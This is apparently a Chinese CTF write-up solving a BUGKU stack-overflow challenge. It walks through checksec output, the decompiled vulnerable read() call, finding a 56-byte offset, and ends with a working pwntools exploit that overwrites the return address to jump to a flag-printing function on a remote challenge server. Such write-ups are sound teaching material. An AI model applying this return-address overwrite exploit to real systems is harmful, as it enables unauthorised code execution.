检查文件

pwndbg> checksec
File: /home/zhailin/CTF_Challenges/Pwn/BUGKU/overflow/pwn2
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

放入IDA Pro中

int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE s[48]; // [rsp+0h] [rbp-30h] BYREF

memset(s, 0, sizeof(s));
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("say something?");
read(0, s, 0x100u);
puts("oh,that's so boring!");
return 0;
}

主函数中定义了一个char类型数组s,首先,memset()函数将char类型数组s的前0x30字节初始化为0,之后,read()函数以s作为缓存区读取了0x100个字节的数据

我们继续在IDA中寻找,发现存在一个get_shell_()函数,地址为0x400751函数的返回值使用system()函数执行了cat flag命令,这样可以直接得到flag

images

这样我们就有了思路:输入0x30个字节的数据覆盖s,再输入8个字节的数据覆盖栈底指针rbp,然后将返回值修改为get_shell_()函数的地址

或者一个更直接的思路,我们在pwndbg中调试,先生成一个长度为200的随机字符串,然后将程序run起来

images

我们将随机数据输入后程序崩溃,观察到原先的内容都被我们输入的随机数据所覆盖,rsp的地址直接被覆盖为haaaaaaa(换算成Hex是0x6161616161616168),计算得出偏移量是56

images

Exp如下:

from pwn import *

#io = process('./pwn2')
io = remote("117.72.52.127", 11909)

payload = b'a' * 56 + p64(0x400751)
io.recvline("say something?\n")
io.send(payload)
io.interactive()
2025-09-24

⬆︎TOP